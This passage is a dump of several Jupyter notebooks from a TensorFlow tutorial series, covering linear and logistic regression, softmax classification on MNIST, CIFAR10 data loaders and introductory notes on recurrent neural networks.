"cell_type": "code", 248 | "execution_count": 30, 249 | "metadata": { 250 | "collapsed": false, 251 | "deletable": true, 252 | "editable": true 253 | }, 254 | "outputs": [ 255 | { 256 | "name": "stdout", 257 | "output_type": "stream", 258 | "text": [ 259 | "Output: 0.8661351203918457\n" 260 | ] 261 | } 262 | ], 263 | "source": [ 264 | "x_data = np.random.randn(4,9)\n", 265 | "w_data = np.random.randn(9,1)\n", 266 | "\n", 267 | "with tf.Session() as sess:\n", 268 | " out_p = sess.run(s, feed_dict={x:x_data, w:w_data})\n", 269 | " \n", 270 | "print('Output: {}'.format(out_p))" 271 | ] 272 | }, 273 | { 274 | "cell_type": "markdown", 275 | "metadata": { 276 | "collapsed": false, 277 | "deletable": true, 278 | "editable": true 279 | }, 280 | "source": [ 281 | "### Optimization\n", 282 | "\n", 283 | "- purpose of a typical project: learn associations between features and labels.\n", 284 | "\n", 285 | "###
$f(x_{i}) = w^{T}x_{i} + b$
\n", 286 | "###
$y_{i} = f(x_{i}) + \\varepsilon_{i}$
\n", 287 | "\n", 288 | "- **Loss Function**: how far the model is from the truth.\n", 289 | "- train the model to minimize loss (adjusting the parameters).\n", 290 | "- **MSE (Mean Squared Error)** - averages square distances (y_true, y_pred):\n", 291 | "\n", 292 | "##
$L(y, \\hat y) = \\frac{1}{n}\\ ∑_{i=1}^{n}(y_{i}-\\hat y_{i})^{2}$
\n", 293 | "\n", 294 | "- **Cross Entropy** - similarity between distributions:\n", 295 | "\n", 296 | "##
$H(p,q)=-∑_{x}p(x)logq(x)$
" 297 | ] 298 | }, 299 | { 300 | "cell_type": "code", 301 | "execution_count": 31, 302 | "metadata": { 303 | "collapsed": false, 304 | "deletable": true, 305 | "editable": true 306 | }, 307 | "outputs": [], 308 | "source": [ 309 | "# X, Y, W, b\n", 310 | "\n", 311 | "x = tf.placeholder(tf.float32, shape=[None, 3])\n", 312 | "y_true = tf.placeholder(tf.float32, shape=None)\n", 313 | "w = tf.Variable([[0,0,0]], dtype=tf.float32, name='W')\n", 314 | "b = tf.Variable(0, dtype=tf.float32, name='b')\n", 315 | "\n", 316 | "# Output\n", 317 | "\n", 318 | "y_pred = tf.matmul(w, tf.transpose(x))+b" 319 | ] 320 | }, 321 | { 322 | "cell_type": "code", 323 | "execution_count": 32, 324 | "metadata": { 325 | "collapsed": false, 326 | "deletable": true, 327 | "editable": true 328 | }, 329 | "outputs": [], 330 | "source": [ 331 | "# MSE (Mean Squared Error)\n", 332 | "\n", 333 | "loss = tf.reduce_mean(tf.square(y_true-y_pred))\n", 334 | "\n", 335 | "# Cross Entropy\n", 336 | "\n", 337 | "loss = tf.nn.sigmoid_cross_entropy_with_logits(labels=y_true, logits=y_pred)\n", 338 | "loss = tf.reduce_mean(loss)" 339 | ] 340 | }, 341 | { 342 | "cell_type": "markdown", 343 | "metadata": { 344 | "collapsed": true, 345 | "deletable": true, 346 | "editable": true 347 | }, 348 | "source": [ 349 | "### Linear Regression \n", 350 | "\n", 351 | "- Batch Gradient Descent: entire dataset.\n", 352 | "- Stochastic Gradient Descent (SGD): mini-batches. \n", 353 | "- In TensorFlow:\n", 354 | "\n", 355 | "
optimizer = tf.train.GradientDescentOptimizer(learning_rate)
\n", 356 | "
train = optimizer.minimize(loss)
\n" 357 | ] 358 | }, 359 | { 360 | "cell_type": "code", 361 | "execution_count": 33, 362 | "metadata": { 363 | "collapsed": false, 364 | "deletable": true, 365 | "editable": true 366 | }, 367 | "outputs": [], 368 | "source": [ 369 | "import numpy as np\n", 370 | "\n", 371 | "x_data = np.random.randn(2000,3)\n", 372 | "w_real = [0.4, 0.6, 0.2]\n", 373 | "b_real = -0.3 \n", 374 | "noise = np.random.randn(1,2000)*0.1 \n", 375 | "y_data = np.matmul(w_real, x_data.T)+b_real+noise" 376 | ] 377 | }, 378 | { 379 | "cell_type": "code", 380 | "execution_count": 34, 381 | "metadata": { 382 | "collapsed": false, 383 | "deletable": true, 384 | "editable": true 385 | }, 386 | "outputs": [ 387 | { 388 | "name": "stdout", 389 | "output_type": "stream", 390 | "text": [ 391 | "0 [array([[ 0.40274513, 0.59352362, 0.17637035]], dtype=float32), -0.31382522]\n", 392 | "5 [array([[ 0.40287709, 0.60446119, 0.20664811]], dtype=float32), -0.30317146]\n", 393 | "10 [array([[ 0.40287712, 0.60446125, 0.20664825]], dtype=float32), -0.30317137]\n" 394 | ] 395 | } 396 | ], 397 | "source": [ 398 | "num_iters = 10 \n", 399 | "g = tf.Graph()\n", 400 | "wb = []\n", 401 | "\n", 402 | "with g.as_default():\n", 403 | " x = tf.placeholder(tf.float32, shape=[None, 3])\n", 404 | " y_true = tf.placeholder(tf.float32, shape=None)\n", 405 | " \n", 406 | " with tf.name_scope('inference') as scope:\n", 407 | " w = tf.Variable([[0,0,0]], dtype=tf.float32, name='W')\n", 408 | " b = tf.Variable(0, dtype=tf.float32, name='b')\n", 409 | " y_pred = tf.matmul(w, tf.transpose(x))+b\n", 410 | " \n", 411 | " with tf.name_scope('loss') as scope:\n", 412 | " loss = tf.reduce_mean(tf.square(y_true-y_pred))\n", 413 | " \n", 414 | " with tf.name_scope('training') as scope:\n", 415 | " lr = 0.5\n", 416 | " optimizer = tf.train.GradientDescentOptimizer(lr)\n", 417 | " train = optimizer.minimize(loss)\n", 418 | " \n", 419 | " init = tf.global_variables_initializer()\n", 420 | " \n", 421 | " with tf.Session() as sess:\n", 422 | " sess.run(init)\n", 423 | " for step in range(num_iters):\n", 424 | " sess.run(train, {x:x_data, y_true:y_data})\n", 425 | " if(step%5==0):\n", 426 | " print(step, sess.run([w,b]))\n", 427 | " wb.append(sess.run([w,b]))\n", 428 | " \n", 429 | " print(10, sess.run([w,b]))" 430 | ] 431 | }, 432 | { 433 | "cell_type": "markdown", 434 | "metadata": { 435 | "deletable": true, 436 | "editable": true 437 | }, 438 | "source": [ 439 | "### Logistic Regression " 440 | ] 441 | }, 442 | { 443 | "cell_type": "code", 444 | "execution_count": 35, 445 | "metadata": { 446 | "collapsed": false, 447 | "deletable": true, 448 | "editable": true 449 | }, 450 | "outputs": [], 451 | "source": [ 452 | "def sigmoid(x):\n", 453 | " return 1/(1+np.exp(-x))\n", 454 | "\n", 455 | "x_data = np.random.randn(20000,3)\n", 456 | "w_real = [0.4, 0.6, 0.2]\n", 457 | "b_real = -0.3\n", 458 | "wb = np.matmul(w_real,x_data.T)+b_real\n", 459 | "\n", 460 | "y_data_bef_noise = sigmoid(wb)\n", 461 | "y_data = np.random.binomial(1, y_data_bef_noise)" 462 | ] 463 | }, 464 | { 465 | "cell_type": "code", 466 | "execution_count": 36, 467 | "metadata": { 468 | "collapsed": false, 469 | "deletable": true, 470 | "editable": true 471 | }, 472 | "outputs": [ 473 | { 474 | "name": "stdout", 475 | "output_type": "stream", 476 | "text": [ 477 | "0 [array([[ 0.04112099, 0.06846264, 0.02003187]], dtype=float32), -0.032350261]\n", 478 | "5 [array([[ 0.18276456, 0.30256298, 0.08900417]], dtype=float32), -0.14264938]\n", 479 | "10 [array([[ 0.26029974, 0.42916155, 0.12672393]], dtype=float32), -0.20180328]\n", 480 | "15 [array([[ 0.30538484, 0.50203937, 0.14863394]], dtype=float32), -0.23547475]\n", 481 | "20 [array([[ 0.33263034, 0.54571784, 0.16186109]], dtype=float32), -0.25541481]\n", 482 | "25 [array([[ 0.34947604, 0.57253945, 0.17003198]], dtype=float32), -0.26751855]\n", 483 | "30 [array([[ 0.36003467, 0.58925474, 0.17514937]], dtype=float32), -0.27498147]\n", 484 | "35 [array([[ 0.36670724, 0.59976691, 0.1783811 ]], dtype=float32), -0.27963001]\n", 485 | "40 [array([[ 0.37094492, 0.60641575, 0.18043235]], dtype=float32), -0.28254512]\n", 486 | "45 [array([[ 0.37364432, 0.61063606, 0.18173833]], dtype=float32), -0.28438166]\n", 487 | "50 [array([[ 0.37508124, 0.61287636, 0.18243322]], dtype=float32), -0.28535065]\n" 488 | ] 489 | } 490 | ], 491 | "source": [ 492 | "num_iters = 50\n", 493 | "g = tf.Graph()\n", 494 | "wb = []\n", 495 | "\n", 496 | "with g.as_default():\n", 497 | " x = tf.placeholder(tf.float32, shape=[None, 3])\n", 498 | " y_true = tf.placeholder(tf.float32, shape=None)\n", 499 | " \n", 500 | " with tf.name_scope('inference') as scope:\n", 501 | " w = tf.Variable([[0,0,0]], dtype=tf.float32, name='W')\n", 502 | " b = tf.Variable(0, dtype=tf.float32, name='b')\n", 503 | " y_pred = tf.matmul(w, tf.transpose(x))+b\n", 504 | " \n", 505 | " with tf.name_scope('loss') as scope:\n", 506 | " loss = tf.nn.sigmoid_cross_entropy_with_logits(labels=y_true, logits=y_pred)\n", 507 | " loss = tf.reduce_mean(loss)\n", 508 | " \n", 509 | " with tf.name_scope('training') as scope:\n", 510 | " lr = 0.5\n", 511 | " optimizer = tf.train.GradientDescentOptimizer(lr)\n", 512 | " train = optimizer.minimize(loss)\n", 513 | " \n", 514 | " init = tf.global_variables_initializer()\n", 515 | " \n", 516 | " with tf.Session() as sess:\n", 517 | " sess.run(init)\n", 518 | " \n", 519 | " for step in range(num_iters):\n", 520 | " sess.run(train, {x:x_data, y_true:y_data})\n", 521 | " if(step%5==0):\n", 522 | " print(step, sess.run([w,b]))\n", 523 | " wb.append(sess.run([w,b]))\n", 524 | " \n", 525 | " print(50, sess.run([w,b]))" 526 | ] 527 | }, 528 | { 529 | "cell_type": "markdown", 530 | "metadata": { 531 | "collapsed": true, 532 | "deletable": true, 533 | "editable": true 534 | }, 535 | "source": [ 536 | "## Softmax Regression with MNIST\n", 537 | "\n" 538 | ] 539 | }, 540 | { 541 | "cell_type": "markdown", 542 | "metadata": { 543 | "collapsed": true, 544 | "deletable": true, 545 | "editable": true 546 | }, 547 | "source": [ 548 | "
![](mnist.png)
\n", 549 | "*

By Josef Steppan (Own work), via Wikimedia Commons

*" 550 | ] 551 | }, 552 | { 553 | "cell_type": "code", 554 | "execution_count": 37, 555 | "metadata": { 556 | "collapsed": false, 557 | "deletable": true, 558 | "editable": true 559 | }, 560 | "outputs": [], 561 | "source": [ 562 | "import tensorflow as tf\n", 563 | "from tensorflow.examples.tutorials.mnist import input_data" 564 | ] 565 | }, 566 | { 567 | "cell_type": "code", 568 | "execution_count": 38, 569 | "metadata": { 570 | "collapsed": true, 571 | "deletable": true, 572 | "editable": true 573 | }, 574 | "outputs": [], 575 | "source": [ 576 | "datadir = '/data'\n", 577 | "num_iters = 1000\n", 578 | "minibatch_size = 100" 579 | ] 580 | }, 581 | { 582 | "cell_type": "code", 583 | "execution_count": 39, 584 | "metadata": { 585 | "collapsed": false, 586 | "deletable": true, 587 | "editable": true 588 | }, 589 | "outputs": [ 590 | { 591 | "name": "stdout", 592 | "output_type": "stream", 593 | "text": [ 594 | "Extracting /data\\train-images-idx3-ubyte.gz\n", 595 | "Extracting /data\\train-labels-idx1-ubyte.gz\n", 596 | "Extracting /data\\t10k-images-idx3-ubyte.gz\n", 597 | "Extracting /data\\t10k-labels-idx1-ubyte.gz\n", 598 | "Accuracy: 91.31%\n" 599 | ] 600 | } 601 | ], 602 | "source": [ 603 | "data = input_data.read_data_sets(datadir, one_hot=True)\n", 604 | "x = tf.placeholder(tf.float32, [None, 784])\n", 605 | "W = tf.Variable(tf.zeros([784,10]))\n", 606 | "y_true = tf.placeholder(tf.float32, [None, 10])\n", 607 | "y_pred = tf.matmul(x, W)\n", 608 | "\n", 609 | "loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=y_pred, labels=y_true))\n", 610 | "optimizer = tf.train.GradientDescentOptimizer(0.5).minimize(loss)\n", 611 | "\n", 612 | "correct_pred = tf.equal(tf.argmax(y_pred,1), tf.argmax(y_true,1))\n", 613 | "accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32))\n", 614 | "\n", 615 | "with tf.Session() as sess:\n", 616 | " sess.run(tf.global_variables_initializer())\n", 617 | "\n", 618 | " for step in range(num_iters):\n", 619 | " batch_xs, batch_ys = data.train.next_batch(minibatch_size)\n", 620 | " sess.run(optimizer, feed_dict={x:batch_xs, y_true:batch_ys})\n", 621 | " \n", 622 | " testing = sess.run(accuracy, feed_dict={x:data.test.images, y_true:data.test.labels})\n", 623 | " \n", 624 | "print('Accuracy: {:.4}%'.format(testing*100))" 625 | ] 626 | }, 627 | { 628 | "cell_type": "markdown", 629 | "metadata": { 630 | "collapsed": true, 631 | "deletable": true, 632 | "editable": true 633 | }, 634 | "source": [ 635 | "## Convolutional Neural Networks\n", 636 | "\n", 637 | "
![](cnn.png)
\n", 638 | "*

By Aphex34 (Own work) [CC BY-SA 4.0], via Wikimedia Commons

*\n", 639 | "\n", 640 | "### Good resources:\n", 641 | "\n", 642 | "- CS231n from Stanford University\n", 643 | "- Convolutional Neural Networks (Course 4) by Prof. Andrew Ng - Deep Learning Specialization\n" 644 | ] 645 | }, 646 | { 647 | "cell_type": "markdown", 648 | "metadata": { 649 | "collapsed": true, 650 | "deletable": true, 651 | "editable": true 652 | }, 653 | "source": [ 654 | "#### Convolution in TensorFlow:\n", 655 | "\n", 656 | "
tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME')
\n", 657 | "\n", 658 | "- x.shape is [None, 28, 28, 1]\n", 659 | "- W.shape is [5, 5, 1, 32]\n", 660 | "- strides - how the filter moves across the image\n", 661 | "- 'SAME' padding - output size = input size" 662 | ] 663 | }, 664 | { 665 | "cell_type": "code", 666 | "execution_count": null, 667 | "metadata": { 668 | "collapsed": true, 669 | "deletable": true, 670 | "editable": true 671 | }, 672 | "outputs": [], 673 | "source": [] 674 | }, 675 | { 676 | "cell_type": "code", 677 | "execution_count": null, 678 | "metadata": { 679 | "collapsed": true, 680 | "deletable": true, 681 | "editable": true 682 | }, 683 | "outputs": [], 684 | "source": [] 685 | }, 686 | { 687 | "cell_type": "code", 688 | "execution_count": null, 689 | "metadata": { 690 | "collapsed": true, 691 | "deletable": true, 692 | "editable": true 693 | }, 694 | "outputs": [], 695 | "source": [] 696 | } 697 | ], 698 | "metadata": { 699 | "kernelspec": { 700 | "display_name": "Python 3", 701 | "language": "python", 702 | "name": "python3" 703 | }, 704 | "language_info": { 705 | "codemirror_mode": { 706 | "name": "ipython", 707 | "version": 3 708 | }, 709 | "file_extension": ".py", 710 | "mimetype": "text/x-python", 711 | "name": "python", 712 | "nbconvert_exporter": "python", 713 | "pygments_lexer": "ipython3", 714 | "version": "3.5.0" 715 | } 716 | }, 717 | "nbformat": 4, 718 | "nbformat_minor": 2 719 | } 720 | -------------------------------------------------------------------------------- /Neural Networks and TensorFlow - 19 - CNN and Cifar10 - 1.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": { 6 | "deletable": true, 7 | "editable": true 8 | }, 9 | "source": [ 10 | "#
TensorFlow and Deep Learning
\n", 11 | "\n", 12 | "## Convolutional Neural Networks - CIFAR10\n", 13 | "\n", 14 | "
\n", 15 | "\n", 16 | "
![](cifar10.png)
\n", 17 | "\n", 18 | "*

CIFAR10 - Adapted from Alex Krizhevsky at https://www.cs.toronto.edu/~kriz/cifar.html

*\n", 19 | "\n" 20 | ] 21 | }, 22 | { 23 | "cell_type": "code", 24 | "execution_count": 203, 25 | "metadata": { 26 | "collapsed": false, 27 | "deletable": true, 28 | "editable": true 29 | }, 30 | "outputs": [], 31 | "source": [ 32 | "import os\n", 33 | "import numpy as np\n", 34 | "import pickle\n", 35 | "import matplotlib.pyplot as plt\n", 36 | "import tensorflow as tf" 37 | ] 38 | }, 39 | { 40 | "cell_type": "code", 41 | "execution_count": 204, 42 | "metadata": { 43 | "collapsed": false, 44 | "deletable": true, 45 | "editable": true 46 | }, 47 | "outputs": [], 48 | "source": [ 49 | "class CifarLoader(object):\n", 50 | " def __init__(self, source_files):\n", 51 | " self._source = source_files\n", 52 | " self._i = 0\n", 53 | " self.images = None\n", 54 | " self.labels = None\n", 55 | " \n", 56 | " def load(self):\n", 57 | " data = [unpickle(f) for f in self._source]\n", 58 | " images = np.vstack([d[b\"data\"] for d in data])\n", 59 | " n = len(images)\n", 60 | " self.images = images.reshape(n, 3, 32, 32).transpose(0, 2, 3, 1).astype(float)/255\n", 61 | " self.labels = one_hot(np.hstack([d[b\"labels\"] for d in data]), 10)\n", 62 | " return self\n", 63 | " \n", 64 | " def next_batch(self, batch_size):\n", 65 | " x, y = self.images[self._i:self._i+batch_size], self.labels[self._i:self._i+batch_size]\n", 66 | " self._i = (self._i + batch_size)%len(self.images)\n", 67 | " return x, y " 68 | ] 69 | }, 70 | { 71 | "cell_type": "code", 72 | "execution_count": null, 73 | "metadata": { 74 | "collapsed": true 75 | }, 76 | "outputs": [], 77 | "source": [] 78 | }, 79 | { 80 | "cell_type": "code", 81 | "execution_count": null, 82 | "metadata": { 83 | "collapsed": false 84 | }, 85 | "outputs": [], 86 | "source": [] 87 | }, 88 | { 89 | "cell_type": "code", 90 | "execution_count": null, 91 | "metadata": { 92 | "collapsed": false 93 | }, 94 | "outputs": [], 95 | "source": [] 96 | }, 97 | { 98 | "cell_type": "code", 99 | "execution_count": null, 100 | "metadata": { 101 | "collapsed": true 102 | }, 103 | "outputs": [], 104 | "source": [] 105 | }, 106 | { 107 | "cell_type": "code", 108 | "execution_count": null, 109 | "metadata": { 110 | "collapsed": false 111 | }, 112 | "outputs": [], 113 | "source": [] 114 | }, 115 | { 116 | "cell_type": "code", 117 | "execution_count": null, 118 | "metadata": { 119 | "collapsed": true 120 | }, 121 | "outputs": [], 122 | "source": [] 123 | } 124 | ], 125 | "metadata": { 126 | "kernelspec": { 127 | "display_name": "Python 3", 128 | "language": "python", 129 | "name": "python3" 130 | }, 131 | "language_info": { 132 | "codemirror_mode": { 133 | "name": "ipython", 134 | "version": 3 135 | }, 136 | "file_extension": ".py", 137 | "mimetype": "text/x-python", 138 | "name": "python", 139 | "nbconvert_exporter": "python", 140 | "pygments_lexer": "ipython3", 141 | "version": "3.5.0" 142 | } 143 | }, 144 | "nbformat": 4, 145 | "nbformat_minor": 2 146 | } 147 | -------------------------------------------------------------------------------- /Neural Networks and TensorFlow - 20 - CNN and Cifar10 - 2.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": { 6 | "deletable": true, 7 | "editable": true 8 | }, 9 | "source": [ 10 | "#
TensorFlow and Deep Learning
\n", 11 | "\n", 12 | "## Convolutional Neural Networks - CIFAR10\n", 13 | "\n", 14 | "
\n", 15 | "\n", 16 | "
![](cifar10.png)
\n", 17 | "\n", 18 | "*

CIFAR10 - Adapted from Alex Krizhevsky at https://www.cs.toronto.edu/~kriz/cifar.html

*\n", 19 | "\n" 20 | ] 21 | }, 22 | { 23 | "cell_type": "code", 24 | "execution_count": 1, 25 | "metadata": { 26 | "collapsed": false, 27 | "deletable": true, 28 | "editable": true 29 | }, 30 | "outputs": [], 31 | "source": [ 32 | "import os\n", 33 | "import numpy as np\n", 34 | "import pickle\n", 35 | "import matplotlib.pyplot as plt\n", 36 | "import tensorflow as tf" 37 | ] 38 | }, 39 | { 40 | "cell_type": "code", 41 | "execution_count": 2, 42 | "metadata": { 43 | "collapsed": false, 44 | "deletable": true, 45 | "editable": true 46 | }, 47 | "outputs": [], 48 | "source": [ 49 | "class CifarLoader(object):\n", 50 | " def __init__(self, source_files):\n", 51 | " self._source = source_files\n", 52 | " self._i = 0\n", 53 | " self.images = None\n", 54 | " self.labels = None\n", 55 | " \n", 56 | " def load(self):\n", 57 | " data = [unpickle(f) for f in self._source]\n", 58 | " images = np.vstack([d[b\"data\"] for d in data])\n", 59 | " n = len(images)\n", 60 | " self.images = images.reshape(n, 3, 32, 32).transpose(0, 2, 3, 1).astype(float)/255\n", 61 | " self.labels = one_hot(np.hstack([d[b\"labels\"] for d in data]), 10)\n", 62 | " return self\n", 63 | " \n", 64 | " def next_batch(self, batch_size):\n", 65 | " x, y = self.images[self._i:self._i+batch_size], self.labels[self._i:self._i+batch_size]\n", 66 | " self._i = (self._i + batch_size)%len(self.images)\n", 67 | " return x, y " 68 | ] 69 | }, 70 | { 71 | "cell_type": "code", 72 | "execution_count": 4, 73 | "metadata": { 74 | "collapsed": false, 75 | "deletable": true, 76 | "editable": true 77 | }, 78 | "outputs": [], 79 | "source": [ 80 | "path = \"cifar10\"\n", 81 | "\n", 82 | "def unpickle(file):\n", 83 | " with open(os.path.join(path,file), 'rb') as fo:\n", 84 | " dict = pickle.load(fo, encoding='bytes')\n", 85 | " return dict\n", 86 | "\n", 87 | "def one_hot(vec, vals=10):\n", 88 | " n = len(vec)\n", 89 | " out = np.zeros((n, vals))\n", 90 | " out[range(n), vec] = 1\n", 91 | " return out\n", 92 | "\n", 93 | "class CifarDataManager(object):\n", 94 | " def __init__(self):\n", 95 | " self.train = CifarLoader([\"data_batch_{}\".format(i) for i in range(1,6)]).load()\n", 96 | " self.test = CifarLoader([\"test_batch\"]).load()" 97 | ] 98 | }, 99 | { 100 | "cell_type": "code", 101 | "execution_count": null, 102 | "metadata": { 103 | "collapsed": false, 104 | "deletable": true, 105 | "editable": true 106 | }, 107 | "outputs": [], 108 | "source": [] 109 | }, 110 | { 111 | "cell_type": "code", 112 | "execution_count": null, 113 | "metadata": { 114 | "collapsed": false, 115 | "deletable": true, 116 | "editable": true 117 | }, 118 | "outputs": [], 119 | "source": [] 120 | }, 121 | { 122 | "cell_type": "code", 123 | "execution_count": null, 124 | "metadata": { 125 | "collapsed": true, 126 | "deletable": true, 127 | "editable": true 128 | }, 129 | "outputs": [], 130 | "source": [] 131 | }, 132 | { 133 | "cell_type": "code", 134 | "execution_count": null, 135 | "metadata": { 136 | "collapsed": false, 137 | "deletable": true, 138 | "editable": true 139 | }, 140 | "outputs": [], 141 | "source": [] 142 | }, 143 | { 144 | "cell_type": "code", 145 | "execution_count": null, 146 | "metadata": { 147 | "collapsed": true, 148 | "deletable": true, 149 | "editable": true 150 | }, 151 | "outputs": [], 152 | "source": [] 153 | } 154 | ], 155 | "metadata": { 156 | "kernelspec": { 157 | "display_name": "Python 3", 158 | "language": "python", 159 | "name": "python3" 160 | }, 161 | "language_info": { 162 | "codemirror_mode": { 163 | "name": "ipython", 164 | "version": 3 165 | }, 166 | "file_extension": ".py", 167 | "mimetype": "text/x-python", 168 | "name": "python", 169 | "nbconvert_exporter": "python", 170 | "pygments_lexer": "ipython3", 171 | "version": "3.5.0" 172 | } 173 | }, 174 | "nbformat": 4, 175 | "nbformat_minor": 2 176 | } 177 | -------------------------------------------------------------------------------- /Neural Networks and TensorFlow - 25 - Text and Sequence Data - Intro.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": { 6 | "deletable": true, 7 | "editable": true 8 | }, 9 | "source": [ 10 | "#
TensorFlow and Deep Learning
\n", 11 | "\n", 12 | "## Text and Sequence Data\n", 13 | "\n", 14 | "
\n", 15 | "\n", 16 | "
![](timeseq1.png)
\n", 17 | "\n", 18 | "*

By Glen Fergus [CC BY 3.0] via Wikimedia Commons

*\n", 19 | "\n" 20 | ] 21 | }, 22 | { 23 | "cell_type": "markdown", 24 | "metadata": { 25 | "collapsed": false, 26 | "deletable": true, 27 | "editable": true 28 | }, 29 | "source": [ 30 | "- build recurrent neural networks **(RNN)** for **NLP** (Natural Language Processing) and **NLU** (Natural Language Understanding)\n", 31 | "- *NLP and NLU tasks involve: document classification, sentiment analysis, conversational agents*\n", 32 | "- Tensorboard for visualization purposes\n", 33 | "- ? Long Short-Term Memory models\n", 34 | "\n", 35 | "### Sequence Data\n", 36 | "\n", 37 | "- video - images arranged over time\n", 38 | "- medical records\n", 39 | "- temperature data (see above)\n", 40 | "- audio data \n", 41 | "- stock market data\n", 42 | "- etc." 43 | ] 44 | }, 45 | { 46 | "cell_type": "code", 47 | "execution_count": null, 48 | "metadata": { 49 | "collapsed": true, 50 | "deletable": true, 51 | "editable": true 52 | }, 53 | "outputs": [], 54 | "source": [] 55 | }, 56 | { 57 | "cell_type": "code", 58 | "execution_count": null, 59 | "metadata": { 60 | "collapsed": true, 61 | "deletable": true, 62 | "editable": true 63 | }, 64 | "outputs": [], 65 | "source": [] 66 | }, 67 | { 68 | "cell_type": "code", 69 | "execution_count": null, 70 | "metadata": { 71 | "collapsed": true, 72 | "deletable": true, 73 | "editable": true 74 | }, 75 | "outputs": [], 76 | "source": [] 77 | } 78 | ], 79 | "metadata": { 80 | "kernelspec": { 81 | "display_name": "Python 3", 82 | "language": "python", 83 | "name": "python3" 84 | }, 85 | "language_info": { 86 | "codemirror_mode": { 87 | "name": "ipython", 88 | "version": 3 89 | }, 90 | "file_extension": ".py", 91 | "mimetype": "text/x-python", 92 | "name": "python", 93 | "nbconvert_exporter": "python", 94 | "pygments_lexer": "ipython3", 95 | "version": "3.5.0" 96 | } 97 | }, 98 | "nbformat": 4, 99 | "nbformat_minor": 2 100 | } 101 | -------------------------------------------------------------------------------- /Neural Networks and TensorFlow - 26 - Recurrent Neural Networks - 1.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": { 6 | "deletable": true, 7 | "editable": true 8 | }, 9 | "source": [ 10 | "#
TensorFlow and Deep Learning
\n", 11 | "\n", 12 | "## Text and Sequence Data\n", 13 | "\n", 14 | "
\n", 15 | "\n", 16 | "
![](timeseq1.png)
\n", 17 | "\n", 18 | "*

By Glen Fergus [CC BY 3.0] via Wikimedia Commons

*\n", 19 | "\n" 20 | ] 21 | }, 22 | { 23 | "cell_type": "markdown", 24 | "metadata": { 25 | "collapsed": false, 26 | "deletable": true, 27 | "editable": true 28 | }, 29 | "source": [ 30 | "- build recurrent neural networks **(RNN)** for **NLP** (Natural Language Processing) and **NLU** (Natural Language Understanding)\n", 31 | "- *NLP and NLU tasks involve: document classification, sentiment analysis, conversational agents*\n", 32 | "- Tensorboard for visualization purposes\n", 33 | "- ? Long Short-Term Memory models\n", 34 | "\n", 35 | "### Sequence Data\n", 36 | "\n", 37 | "- video - images arranged over time\n", 38 | "- medical records\n", 39 | "- temperature data (see above)\n", 40 | "- audio data \n", 41 | "- stock market data\n", 42 | "- etc." 43 | ] 44 | }, 45 | { 46 | "cell_type": "markdown", 47 | "metadata": { 48 | "collapsed": true, 49 | "deletable": true, 50 | "editable": true 51 | }, 52 | "source": [ 53 | "##
Recurrent Neural Networks
\n", 54 | "\n", 55 | "
\n", 56 | "\n", 57 | "
![](rnnl.png)
\n", 58 | "\n", 59 | "*

By François Deloche [CC BY-SA 4.0] via Wikimedia Commons

*\n", 60 | "\n", 61 | "- each node adds new information => updates the model\n", 62 | "- in humans: learning new things => updates our model of the world\n", 63 | "- **Markov Chain** model: data = sequence of (dependent) chains\n", 64 | "- at time 't': xt, ht, ot\n", 65 | "- the RNN: unrolled chain of nodes\n", 66 | "- **supervised learning:** input node => activation (h) - supervisor-given target activations => some outputs\n", 67 | "- **reinforcement learning:** fitness/reward function => influences inputs via outputs connected to actuators" 68 | ] 69 | }, 70 | { 71 | "cell_type": "code", 72 | "execution_count": null, 73 | "metadata": { 74 | "collapsed": true, 75 | "deletable": true, 76 | "editable": true 77 | }, 78 | "outputs": [], 79 | "source": [] 80 | }, 81 | { 82 | "cell_type": "code", 83 | "execution_count": null, 84 | "metadata": { 85 | "collapsed": true, 86 | "deletable": true, 87 | "editable": true 88 | }, 89 | "outputs": [], 90 | "source": [] 91 | } 92 | ], 93 | "metadata": { 94 | "kernelspec": { 95 | "display_name": "Python 3", 96 | "language": "python", 97 | "name": "python3" 98 | }, 99 | "language_info": { 100 | "codemirror_mode": { 101 | "name": "ipython", 102 | "version": 3 103 | }, 104 | "file_extension": ".py", 105 | "mimetype": "text/x-python", 106 | "name": "python", 107 | "nbconvert_exporter": "python", 108 | "pygments_lexer": "ipython3", 109 | "version": "3.5.0" 110 | } 111 | }, 112 | "nbformat": 4, 113 | "nbformat_minor": 2 114 | } 115 | -------------------------------------------------------------------------------- /Neural Networks and TensorFlow - 27 - Recurrent Neural Networks - 2.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": { 6 | "deletable": true, 7 | "editable": true 8 | }, 9 | "source": [ 10 | "#
TensorFlow and Deep Learning
\n", 11 | "\n", 12 | "## Text and Sequence Data\n", 13 | "\n", 14 | "
\n", 15 | "\n", 16 | "
![](timeseq1.png)
\n", 17 | "\n", 18 | "*

By Glen Fergus [CC BY 3.0] via Wikimedia Commons

*\n", 19 | "\n" 20 | ] 21 | }, 22 | { 23 | "cell_type": "markdown", 24 | "metadata": { 25 | "collapsed": false, 26 | "deletable": true, 27 | "editable": true 28 | }, 29 | "source": [ 30 | "- build recurrent neural networks **(RNN)** for **NLP** (Natural Language Processing) and **NLU** (Natural Language Understanding)\n", 31 | "- *NLP and NLU tasks involve: document classification, sentiment analysis, conversational agents*\n", 32 | "- Tensorboard for visualization purposes\n", 33 | "- ? Long Short-Term Memory models\n", 34 | "\n", 35 | "### Sequence Data\n", 36 | "\n", 37 | "- video - images arranged over time\n", 38 | "- medical records\n", 39 | "- temperature data (see above)\n", 40 | "- audio data \n", 41 | "- stock market data\n", 42 | "- etc." 43 | ] 44 | }, 45 | { 46 | "cell_type": "markdown", 47 | "metadata": { 48 | "collapsed": true, 49 | "deletable": true, 50 | "editable": true 51 | }, 52 | "source": [ 53 | "##
Recurrent Neural Networks
\n", 54 | "\n", 55 | "
\n", 56 | "\n", 57 | "
![](rnnl.png)
\n", 58 | "\n", 59 | "*

By François Deloche [CC BY-SA 4.0] via Wikimedia Commons

